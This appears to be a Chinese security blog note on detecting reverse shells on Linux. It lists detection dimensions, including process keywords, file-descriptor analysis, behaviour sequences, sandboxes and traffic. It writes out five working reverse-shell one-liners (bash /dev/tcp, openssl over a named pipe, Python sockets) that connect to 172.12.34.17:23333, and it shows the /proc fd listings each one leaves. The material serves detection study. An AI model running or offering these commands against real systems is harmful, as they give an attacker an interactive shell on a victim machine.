=Start=
缘由:
之前在复习Linux下文件重定向的内容时顺便通过对反弹shell命令的原理进行解释来加深印象,也看了阿里云安全中心总结的几种反弹shell的分类,记录了一下各类反弹shell的fd(文件描述符)情况,方便有需要的时候参考。另外就是反弹shell的底层逻辑虽然是——网络通信+命令执行+重定向,但是变形太多,特征不一,所以还是需要采用多维度交叉检测的方案才能从最大程度保障检出效果。多了解多学习多总结。
正文:
参考解答:
- 进程特征覆盖——关键字/正则匹配/……
- 文件描述符分析——0/1/2是否完成了输入输出的闭环
- 命令行为序列——比如bash启动python,python又起了一个bash进程这种
- 异常Shell启动——执行的可疑命令(比如查本机的外网IP/看passwd文件/在tmp目录创建文件/翻history/……)
- 二进制沙箱——对二进制文件综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测
- 脚本沙箱——文件落盘检测/动态解混淆后进行检测/……
- 流量特征覆盖——从流量层面检测常见Shell通信特征
- 对抗行为检测——替换系统Shell、命令编码、……
# 方法0
$ 0<&6;exec 6<>/dev/tcp/172.12.34.17/23333; bash -i <&6 >&6 2>&6
# 方法一
$ rm /tmp/s; mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.12.34.17:23333 > /tmp/s; rm /tmp/s
# 方法二
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.12.34.17",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# 方法三
$ python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('172.12.34.17',23333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
# 方法四
$ python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('172.12.34.17',23333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
# 方法0:fd情况(有用,容易)
# 通过sh进程 0、1 和 2 为相同的 fd 可以进行判断——标准输入/标准输出/错误输出都绑定到了同一个fd上
$ ps afx | grep sh
...
27893 pts/0 Ss 0:00 \_ -bash
7224 pts/0 S+ 0:00 | \_ bash -i
...
$
$ ls -al /proc/7224/fd
lrwx------. 1 ixyzero ixyzero 64 10月 11 17:12 0 -> socket:[202436917]
lrwx------. 1 ixyzero ixyzero 64 10月 11 17:12 1 -> socket:[202436917]
lrwx------. 1 ixyzero ixyzero 64 10月 11 17:12 2 -> socket:[202436917]
lrwx------. 1 ixyzero ixyzero 64 10月 11 17:12 255 -> /dev/tty
lrwx------. 1 ixyzero ixyzero 64 10月 11 17:12 3 -> socket:[202441759]
lrwx------. 1 ixyzero ixyzero 64 10月 11 17:12 6 -> socket:[202436917]
# 方法一:fd情况(有用,容易)
# 通过sh进程 1 和 2 为相同的 fd 可以进行判断——标准输出/错误输出都绑定到了同一个fd上
$ ps afx | grep sh
...
27893 pts/0 Ss 0:00 \_ -bash
28736 pts/0 S+ 0:00 | \_ /bin/bash -i
...
$ ls -l /proc/28736/fd
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:17 0 -> /tmp/s (deleted)
l-wx------. 1 ixyzero ixyzero 64 10月 11 16:17 1 -> pipe:[201776017]
l-wx------. 1 ixyzero ixyzero 64 10月 11 16:17 2 -> pipe:[201776017]
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:17 255 -> /dev/tty
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:20 3 -> socket:[201800819]
# 方法二:fd情况(有用,容易)
# 通过python进程 1 和 2 为相同的 fd 可以进行判断
$ ps afx | grep sh
...
27893 pts/0 Ss 0:00 \_ -bash
17101 pts/0 S+ 0:00 | \_ python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.12.34.17",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
17131 pts/2 Ss+ 0:00 | \_ /bin/bash
...
$ ls -l /proc/17131/fd
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 0 -> /dev/pts/2
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 1 -> /dev/pts/2
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 2 -> /dev/pts/2
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 255 -> /dev/pts/2
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 3 -> socket:[201900679]
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:28 4 -> /run/utmp
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:29 5 -> socket:[201898943]
$ ls -l /proc/17101/fd
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 0 -> socket:[201900679]
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 1 -> socket:[201900679]
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 2 -> socket:[201900679]
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 3 -> socket:[201900679]
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:28 4 -> /dev/ptmx
# 方法三:fd情况(无特征)
$ ps afx | grep sh
...
27893 pts/0 Ss 0:00 \_ -bash
4795 pts/0 S+ 0:00 | \_ python -c exec("import socket, subprocess;s = socket.socket();s.connect(('172.12.34.17',23333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())")
...
$ ls -l /proc/4795/fd
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:39 0 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:39 1 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:39 2 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:39 3 -> socket:[202019899]
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:39 5 -> pipe:[202019909]
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:39 8 -> pipe:[202019910]
$ ls -l /proc/4795/fd
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:39 0 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:39 1 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:39 2 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:39 3 -> socket:[202019899]
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:39 4 -> pipe:[202155377]
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:41 7 -> pipe:[202155378]
# 方法四:fd情况(无特征)
$ ps afx | grep sh
...
27893 pts/0 Ss 0:00 \_ -bash
7923 pts/0 S+ 0:00 | \_ python -c exec("import socket, subprocess;s = socket.socket();s.connect(('172.12.34.17',23333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True);s.send(proc.stdout.read()+proc.stderr.read())")
...
$ ls -l /proc/7923/fd
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:57 0 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:57 1 -> /dev/pts/0
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:57 10 -> pipe:[202240666]
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:57 2 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:57 3 -> socket:[202242062]
l-wx------. 1 ixyzero ixyzero 64 10月 11 16:57 5 -> pipe:[202240664]
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:57 6 -> pipe:[202240665]
$
$ ls -l /proc/7923/fd
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:57 0 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:57 1 -> /dev/pts/0
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:57 11 -> pipe:[202247344]
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:57 2 -> /dev/pts/0
lrwx------. 1 ixyzero ixyzero 64 10月 11 16:57 3 -> socket:[202242062]
l-wx------. 1 ixyzero ixyzero 64 10月 11 16:57 7 -> pipe:[202247342]
lr-x------. 1 ixyzero ixyzero 64 10月 11 16:57 8 -> pipe:[202247343]
参考链接:
云安全中心反弹Shell多维检测技术详解
https://www.alibabacloud.com/help/zh/security-center/latest/detect-reverse-shells-from-multiple-dimensions
=END=